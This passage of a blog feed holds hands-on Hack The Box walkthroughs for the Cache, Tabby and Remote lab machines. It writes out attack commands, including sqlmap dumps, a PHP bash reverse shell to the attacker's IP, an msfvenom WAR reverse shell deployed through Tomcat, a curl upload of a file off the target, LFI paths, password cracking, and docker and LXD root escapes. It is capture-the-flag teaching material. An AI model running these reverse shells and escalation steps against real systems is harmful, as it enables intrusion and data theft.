</code></pre><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-12.08.44-PM.png" class="kg-image" alt="Hack The Box Write Up for Cache" loading="lazy" width="986" height="460" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2026/01/Screen-Shot-2020-06-28-at-12.08.44-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-12.08.44-PM.png 986w" sizes="(min-width: 720px) 720px"></figure><p>Hmm... there is a users_secure table. Let&apos;s grab it.</p><pre><code class="language-bash">sqlmap -r req.txt -D openemr -T users_secure -columns -C username,password -dump
</code></pre><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-12.17.29-PM.png" class="kg-image" alt="Hack The Box Write Up for Cache" loading="lazy" width="2000" height="796" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2026/01/Screen-Shot-2020-06-28-at-12.17.29-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2026/01/Screen-Shot-2020-06-28-at-12.17.29-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1600/2026/01/Screen-Shot-2020-06-28-at-12.17.29-PM.png 1600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-12.17.29-PM.png 2256w" sizes="(min-width: 720px) 720px"></figure><p>Now we&apos;ve got a login!</p><pre><code>Username: openemr_admin
Password: $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.
</code></pre><p>That password is clearly hashed. Let&apos;s break it with john.</p><pre><code class="language-bash">sudo john -w=/usr/share/wordlists/rockyou.txt ./hash.txt
</code></pre><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-12.22.09-PM.png" class="kg-image" alt="Hack The Box Write Up for Cache" loading="lazy" width="1240" height="398" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2026/01/Screen-Shot-2020-06-28-at-12.22.09-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2026/01/Screen-Shot-2020-06-28-at-12.22.09-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-12.22.09-PM.png 1240w" sizes="(min-width: 720px) 720px"></figure><p>Looks like the username/password is:</p><pre><code>Username: openemr_admin
Password: xxxxxx
</code></pre><h3 id="reverse-shell-access">Reverse shell access</h3><p>Go into the administrator -&gt; files. From there, edit the letter_templates/custom_pdf.php file. Add the following:</p><pre><code class="language-php">&lt;?php
exec(&quot;/bin/bash -c &apos;bash -i &gt;&amp; /dev/tcp/10.10.14.26/1234 0&gt;&amp;1&apos;&quot;);
?&gt;
</code></pre><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-12.25.31-PM.png" class="kg-image" alt="Hack The Box Write Up for Cache" loading="lazy" width="2000" height="1307" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2026/01/Screen-Shot-2020-06-28-at-12.25.31-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2026/01/Screen-Shot-2020-06-28-at-12.25.31-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1600/2026/01/Screen-Shot-2020-06-28-at-12.25.31-PM.png 1600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-12.25.31-PM.png 2000w" sizes="(min-width: 720px) 720px"></figure><p>Make sure to use the IP of your box. Now fire up netcat:</p><pre><code class="language-bash">nc -lnvp 1234
</code></pre><p>Now browse to this page:</p><pre><code>http://hms.htb/sites/default/letter_templates/custom_pdf.php
</code></pre><p>You should have a shell!</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-12.28.27-PM.png" class="kg-image" alt="Hack The Box Write Up for Cache" loading="lazy" width="1170" height="404" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2026/01/Screen-Shot-2020-06-28-at-12.28.27-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2026/01/Screen-Shot-2020-06-28-at-12.28.27-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-12.28.27-PM.png 1170w" sizes="(min-width: 720px) 720px"></figure><p>You can stabilize the shell using python3:</p><pre><code class="language-bash">python3 -c &apos;import pty; pty.spawn(&quot;/bin/bash&quot;)&apos;
</code></pre><p>Now you can su to ash&apos;s account using the password we found earlier:</p><pre><code class="language-bash">su ash
Password: H@v3_fun
</code></pre><p>Now go get the user.txt flag in Ash&apos;s home folder.</p><pre><code>e0b54325d36fc92fe2d538d2a3ed5c7f
</code></pre><h2 id="getting-root">Getting root</h2><p>Now let&apos;s get linpeas on here. I downloaded linpeas.sh to my local machine and then ran the python simple http server so that I could wget it from the target box. I&apos;m not showing those steps because you can find 100+ articles showing you how to do that.</p><p>Linpeas didn&apos;t show much other than there is another user luffy and the server is also running docker and memcached.</p><p>docker is running as root. That is totally how we are going to get root. Let&apos;s see if we can run docker commands.</p><pre><code class="language-bash">ash@cache:~$ docker ps
docker ps
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.39/containers/json: dial unix /var/run/docker.sock: connect: permission denied
</code></pre><p>Okay, maybe we need to be Luffy to use docker commands. I guess we need to look at memcached exploits.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-12.50.19-PM.png" class="kg-image" alt="Hack The Box Write Up for Cache" loading="lazy" width="1442" height="54" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2026/01/Screen-Shot-2020-06-28-at-12.50.19-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2026/01/Screen-Shot-2020-06-28-at-12.50.19-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-12.50.19-PM.png 1442w" sizes="(min-width: 720px) 720px"></figure><p>We&apos;ve got memcached running on localhost port 11211. We can telnet into it and view the items in memcache. I had to get help with this part from folks on discord. This is what I did:</p><pre><code class="language-bash">ash@cache:~$ telnet 127.0.0.1 11211
telnet 127.0.0.1 11211
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is &apos;^]&apos;.
</code></pre><pre><code class="language-bash">stats slabs
</code></pre><pre><code class="language-bash">stats slabs
STAT 1:chunk_size 96
STAT 1:chunks_per_page 10922
STAT 1:total_pages 1
STAT 1:total_chunks 10922
STAT 1:used_chunks 5
STAT 1:free_chunks 10917
STAT 1:free_chunks_end 0
STAT 1:mem_requested 371
STAT 1:get_hits 0
STAT 1:cmd_set 7140
STAT 1:delete_hits 0
STAT 1:incr_hits 0
STAT 1:decr_hits 0
STAT 1:cas_hits 0
STAT 1:cas_badval 0
STAT 1:touch_hits 0
STAT active_slabs 1
STAT total_malloced 1048576
END
</code></pre><pre><code class="language-bash">stats items
</code></pre><pre><code class="language-bash">stats items
STAT items:1:number 5
STAT items:1:number_hot 0
STAT items:1:number_warm 0
STAT items:1:number_cold 5
STAT items:1:age_hot 0
STAT items:1:age_warm 0
STAT items:1:age 50
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:1:evicted_active 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 208
STAT items:1:lrutail_reflocked 0
STAT items:1:moves_to_cold 7140
STAT items:1:moves_to_warm 0
STAT items:1:moves_within_lru 0
STAT items:1:direct_reclaims 0
STAT items:1:hits_to_hot 0
STAT items:1:hits_to_warm 0
STAT items:1:hits_to_cold 0
STAT items:1:hits_to_temp 0
END
</code></pre><pre><code class="language-bash">stats cachedump 1 0
</code></pre><pre><code class="language-bash">stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
</code></pre><pre><code class="language-bash">get user
</code></pre><pre><code class="language-bash">get user
VALUE user 0 5
luffy
END
</code></pre><pre><code class="language-bash">get passwd
</code></pre><pre><code class="language-bash">get passwd
VALUE passwd 0 9
0n3_p1ec3
END
exit
exit
ERROR
quit
quit
Connection closed by foreign host.
</code></pre><pre><code class="language-bash">ash@cache:~$ su luffy
su luffy
Password: 0n3_p1ec3
</code></pre><p>Now we&apos;ve got access via Luffy. I&apos;m guessing that now we need to look at docker.</p><p>I went to <a href="https://gtfobins.github.io/gtfobins/docker/?ref=joshkerr.com">gtfobins</a> and found a way to escalate using docker.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-12.56.53-PM.png" class="kg-image" alt="Hack The Box Write Up for Cache" loading="lazy" width="1760" height="828" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2026/01/Screen-Shot-2020-06-28-at-12.56.53-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2026/01/Screen-Shot-2020-06-28-at-12.56.53-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1600/2026/01/Screen-Shot-2020-06-28-at-12.56.53-PM.png 1600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/Screen-Shot-2020-06-28-at-12.56.53-PM.png 1760w" sizes="(min-width: 720px) 720px"></figure><p>Before I try to install a docker image, let&apos;s see what images are available.</p><pre><code>docker ps -a 
docker images
</code></pre><p>Nothing running but we do have the ubuntu image. We can use that to escalate.</p><p>This is the command I used to get a root shell:</p><pre><code>docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
</code></pre><p>Since docker is running as root, this gives you a root shell. Boom! We pwned this box.</p><pre><code>054e2a13fc72865189605489c71d6045
</code></pre>]]></content:encoded></item><item><title><![CDATA[Hack The Box write up for Tabby]]></title><description><![CDATA[Detailed walkthrough of Tabby HackTheBox machine. Learn about LFI exploitation, Tomcat RCE, and LXD privilege escalation techniques used to compromise the system.]]></description><link>https://joshkerr.com/hack-the-box-tabby-write-up/</link><guid isPermaLink="false">5ef4354e1272bd00396dd69a</guid><category><![CDATA[hacking]]></category><category><![CDATA[hackthebox]]></category><dc:creator><![CDATA[Josh Kerr]]></dc:creator><pubDate>Thu, 25 Jun 2020 14:07:45 GMT</pubDate><media:content url="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/nahel-abdul-hadi-flha0KwRrRc-unsplash.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/nahel-abdul-hadi-flha0KwRrRc-unsplash.jpg" alt="Hack The Box write up for Tabby"><p><a href="https://www.hackthebox.eu/home/machines/profile/259?ref=joshkerr.com">Tabby</a> is a box on Hackthebox.eu. &#xA0;It was a ton of fun and I learned a lot about Tomcat and LXD. This box was hard for me because I&apos;m a novice. I ended up needing help from the HackTheBox discord forums. The folks there are very friendly and helpful.</p><p>This box was soooo cool.</p><h2 id="getting-user">Getting user</h2><h3 id="nmap">Nmap</h3><p>I started this box like all boxes with an NMAP scan.</p><pre><code>Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-24 13:05 CDT
Nmap scan report for tabby.htb (10.10.10.194)
Host is up (0.054s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.50 seconds
</code></pre><p>Not much here except ssh and http. Looks like Apache and Tomcat.</p><p>I browsed the website and saw this:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-24-at-11.40.55-PM.png" class="kg-image" alt="Hack The Box write up for Tabby" loading="lazy"></figure><p>I browsed the tomcat server on 8080 and saw this:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-24-at-11.41.43-PM.png" class="kg-image" alt="Hack The Box write up for Tabby" loading="lazy"></figure><p>Looks like the default tomcat page.</p><p>Let&apos;s run a dirsearch on both sites and see what we see:</p><pre><code>python3 dirsearch.py -u http://tabby.htb -e *
</code></pre><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-24-at-11.43.28-PM.png" class="kg-image" alt="Hack The Box write up for Tabby" loading="lazy"></figure><p>Oh interesting. There is a file dir. Can&apos;t seem to get to it though. I also checked source on both sites and didn&apos;t see any clues. Then I clicked on the News page and saw this URL:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-24-at-11.44.31-PM.png" class="kg-image" alt="Hack The Box write up for Tabby" loading="lazy"></figure><p>Looks like a candidate for some LFI. I tried reading the /etc/passwd file:</p><pre><code>http://tabby.htb/news.php?file=../../../../etc/group
</code></pre><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-24-at-11.45.20-PM.png" class="kg-image" alt="Hack The Box write up for Tabby" loading="lazy"></figure><p>Yep. This is going to be helpful. Let&apos;s see if we can view any of those tomcat config files. This <a href="https://packages.debian.org/sid/all/tomcat9/filelist?ref=joshkerr.com">link</a> helped me figure out the right path.</p><pre><code>tabby.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml
</code></pre><p>We can! Oh and look at that login:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-24-at-11.46.45-PM.png" class="kg-image" alt="Hack The Box write up for Tabby" loading="lazy"></figure><p>So now we have a login that works for admin-gui and manager-script roles:</p><pre><code>user: tomcat
password: $3cureP4s5w0rd123!
</code></pre><p>We can use the manager-script role to deploy a war file on the server which will give us a reverse shell.</p><p>Deploy commands for the tomcat manager-script interface look like this:</p><pre><code>http://localhost:8080/manager/text/deploy?path=/footoo&amp;war=file:/path/to/foo
</code></pre><p>We need to build a war file first. Let&apos;s use msfvenom to do that.</p><pre><code>msfvenom -p java/shell_reverse_tcp lhost=10.10.14.26 lport=4321 -f war -o pwn.war
</code></pre><p>Make sure to change the lhost to be the IP of your machine. Now we need to setup a netcat to capture the reverse shell:</p><pre><code>nc -lnvp 4321
</code></pre><p>One last thing we need to do. We need to run a simple http server to host our war file. We can do that with python:</p><pre><code>python -m SimpleHTTPServer 80
</code></pre><p>No we can deploy the war file by going to this URL:</p><pre><code>http://tabby.htb:8080/manager/text/deploy?war=http://10.10.14.26/pwn.war&amp;name=pwn
</code></pre><p>Now visit the URL:</p><pre><code>http://tabby.htb:8080/pwn</code></pre><p>You should get a ping on netcat with a reverse shell. This shell won&apos;t be interactive so we should try to upgrade it.</p><pre><code>python3 -c &apos;import pty; pty.spawn(&quot;/bin/bash&quot;)&apos;
</code></pre><p>This is better, but we can still do better. Let&apos;s take a look in that files directory on the webserver that we saw earlier.</p><p>Looks like there is a 16162020_backup.zip file in there. Its in:</p><pre><code>/var/www/html/files/16162020_backup.zip
</code></pre><p>That could have some interesting things in it. Unfortunately it is password protected. Let&apos;s move it over to our machine and crack it.</p><p>I moved it over to my machine using curl and a simple python script. Here is the python script I ran locally:</p><pre><code>#!/usr/env python3
import http.server
import socketserver
import io
import cgi

# Change this to serve on a different port
PORT = 8000

class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):

    def do_POST(self):        
        r, info = self.deal_post_data()
        print(r, info, &quot;by: &quot;, self.client_address)
        f = io.BytesIO()
        if r:
            f.write(b&quot;Success\n&quot;)
        else:
            f.write(b&quot;Failed\n&quot;)
        length = f.tell()
        f.seek(0)
        self.send_response(200)
        self.send_header(&quot;Content-type&quot;, &quot;text/plain&quot;)
        self.send_header(&quot;Content-Length&quot;, str(length))
        self.end_headers()
        if f:
            self.copyfile(f, self.wfile)
            f.close()      

    def deal_post_data(self):
        ctype, pdict = cgi.parse_header(self.headers[&apos;Content-Type&apos;])
        pdict[&apos;boundary&apos;] = bytes(pdict[&apos;boundary&apos;], &quot;utf-8&quot;)
        pdict[&apos;CONTENT-LENGTH&apos;] = int(self.headers[&apos;Content-Length&apos;])
        if ctype == &apos;multipart/form-data&apos;:
            form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={&apos;REQUEST_METHOD&apos;:&apos;POST&apos;, &apos;CONTENT_TYPE&apos;:self.headers[&apos;Content-Type&apos;], })
            print (type(form))
            try:
                if isinstance(form[&quot;file&quot;], list):
                    for record in form[&quot;file&quot;]:
                        open(&quot;./%s&quot;%record.filename, &quot;wb&quot;).write(record.file.read())
                else:
                    open(&quot;./%s&quot;%form[&quot;file&quot;].filename, &quot;wb&quot;).write(form[&quot;file&quot;].file.read())
            except IOError:
                    return (False, &quot;Can&apos;t create file to write, do you have permission to write?&quot;)
        return (True, &quot;Files uploaded&quot;)

Handler = CustomHTTPRequestHandler
with socketserver.TCPServer((&quot;&quot;, PORT), Handler) as httpd:
    print(&quot;serving at port&quot;, PORT)
    httpd.serve_forever()
</code></pre><pre><code>curl -F &apos;file=@16162020_backup.zip&apos; http://tabby.htb:8000
</code></pre><p>Then I cracked the password using:</p><pre><code>fcrackzip -u -D -p &apos;/usr/share/wordlists/rockyou.txt&apos; 16162020_backup.zip
</code></pre><p>The password is:</p><pre><code>admin@it
</code></pre><p>Turns out this is also the password for ash&apos;s account. We can su to ash on our netcat reverse shell:</p><pre><code>su ash
</code></pre><p>Looks like we have write privs in /home/ash/. Let&apos;s generate an ssh key.</p><pre><code>ssh-keygen
cp id_rsa.pub authorized_keys
</code></pre><p>Now copy the id_rsa key from the .ssh folder on to your local machine. chmod it:</p><pre><code>chmod 600 id_rsa
</code></pre><p>Now try to ssh into the box:</p><pre><code>ssh -i id_rsa ash@tabby.htb
</code></pre><p>You should have a full shell. Grab the user.txt file from /home/ash folder.</p><h2 id="getting-root">Getting root</h2><p>Next I put linpeas.sh on the box by doing a wget from my SimpleHTTPServer:</p><pre><code>wget http://10.10.14.24/linpeas.sh
</code></pre><p>Running Linpeas didn&apos;t show too much.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-24-at-11.58.51-PM.png" class="kg-image" alt="Hack The Box write up for Tabby" loading="lazy"></figure><p>Groups is interesting. Looks like ash has lxd group permissions. We can use this to get access to root. This part was pretty complicated. Took me a few hours to figure it out. This <a href="https://www.hackingarticles.in/lxd-privilege-escalation/?ref=joshkerr.com">article</a> was helpful.</p><p>First we need to get a copy of apline-builder. I was able to do that with this on my local box:</p><pre><code>git clone  https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder

./build-alpine
</code></pre><p>Now we need to bring the built file over to our target box. Use the SimpleHTTPServer you still have running.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-25-at-12.11.34-AM.png" class="kg-image" alt="Hack The Box write up for Tabby" loading="lazy"></figure><pre><code>wget http://10.10.14.26:8000/lxd-alpine-builder-master.zip
</code></pre><p>Now we are ready to deploy it:</p><pre><code>lxc init
lxc init ubuntu:16.04 test -c security.privileged=true 

</code></pre><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-25-at-12.21.36-AM.png" class="kg-image" alt="Hack The Box write up for Tabby" loading="lazy"></figure><p>Now we can get it setup.</p><pre><code>lxc init myimage ingnite -c security.privledged=true

lxc config device add ignite mydevice disk source=/ path=/mnt/root rescursive=true

lxc start ignite

lxc exec ignite /bin/sh
</code></pre><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-25-at-12.22.08-AM.png" class="kg-image" alt="Hack The Box write up for Tabby" loading="lazy"></figure><p>This should drop you into a shell. What is cool about this exploit is that we now have root access to the full file system which is now mounted to /mnt/root/. Now you can just go grab the root flag.</p><pre><code>cd /mnt/root/root
cat root.txt
</code></pre><p>This was my root flag:</p><pre><code>93b84228c1ba86a98dc62c1b5346d8d4
</code></pre>]]></content:encoded></item><item><title><![CDATA[Hack The Box write up for Remote]]></title><description><![CDATA[This is my guide to hacking the server Remote on HackTheBox.eu. I was able to get user and root flags.]]></description><link>https://joshkerr.com/hack-the-box-write-up-for-remote/</link><guid isPermaLink="false">5eef990e8c7f770039c0d476</guid><category><![CDATA[hacking]]></category><category><![CDATA[hackthebox]]></category><dc:creator><![CDATA[Josh Kerr]]></dc:creator><pubDate>Mon, 22 Jun 2020 20:41:59 GMT</pubDate><media:content url="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/victoria-heath-MAGAXAYq_NE-unsplash.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/victoria-heath-MAGAXAYq_NE-unsplash.jpg" alt="Hack The Box write up for Remote"><p>This is my guide to hacking the <a href="https://www.hackthebox.eu/home/machines/profile/234?ref=joshkerr.com">remote</a> box over at <a href="http://hackthebox.edu/?ref=joshkerr.com">Hack The Box</a>.</p>
<p>Getting the user flag was very time consuming. There were a lot of little steps that need to all go right. Getting root was above my pay grade. I ended up going to the HackTheBox discord forums to get help there. I learned a lot tackling this box. I feel more comfortable moving around powershell and a windows system.</p>
<p>This box was a lot of fun even though there were moments where I wanted to pull my hair out.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h1 id="nmapscan">Nmap Scan</h1>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><pre><code class="language-bash">Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 12:31 CDT
Nmap scan report for remote.htb (10.10.10.180)
Host is up (0.055s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
2049/tcp open  mountd        1-3 (RPC #100005)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 1m22s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-06-21T17:34:16
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.33 seconds

</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>The initial scan shows a whole bunch of ports. Let&apos;s take a look at the website first.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-12.35.07-PM.png" class="kg-image" alt="Hack The Box write up for Remote" loading="lazy" width="2000" height="1166" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2020/06/Screen-Shot-2020-06-21-at-12.35.07-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2020/06/Screen-Shot-2020-06-21-at-12.35.07-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1600/2020/06/Screen-Shot-2020-06-21-at-12.35.07-PM.png 1600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w2400/2020/06/Screen-Shot-2020-06-21-at-12.35.07-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>Looks like the Acme Widget company. There is a link to their intranet, but that page didn&apos;t show anything useful. The people page shows a bunch of their employees which could be useful for usernames.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-12.36.47-PM.png" class="kg-image" alt="Hack The Box write up for Remote" loading="lazy" width="2000" height="1648" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2020/06/Screen-Shot-2020-06-21-at-12.36.47-PM.png 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1000/2020/06/Screen-Shot-2020-06-21-at-12.36.47-PM.png 1000w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w1600/2020/06/Screen-Shot-2020-06-21-at-12.36.47-PM.png 1600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w2400/2020/06/Screen-Shot-2020-06-21-at-12.36.47-PM.png 2400w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>I want to see if that FTP is anonymous, but first I&apos;m going to start a dirbuster to see what else they are hosting on that site.</p>
<pre><code class="language-bash">dirb http://remote.htb /usr/share/wordlists/dirb/big.txt
</code></pre>
<p>While that is running, I&apos;m going to see if I can get on their ftp with anonymous.</p>
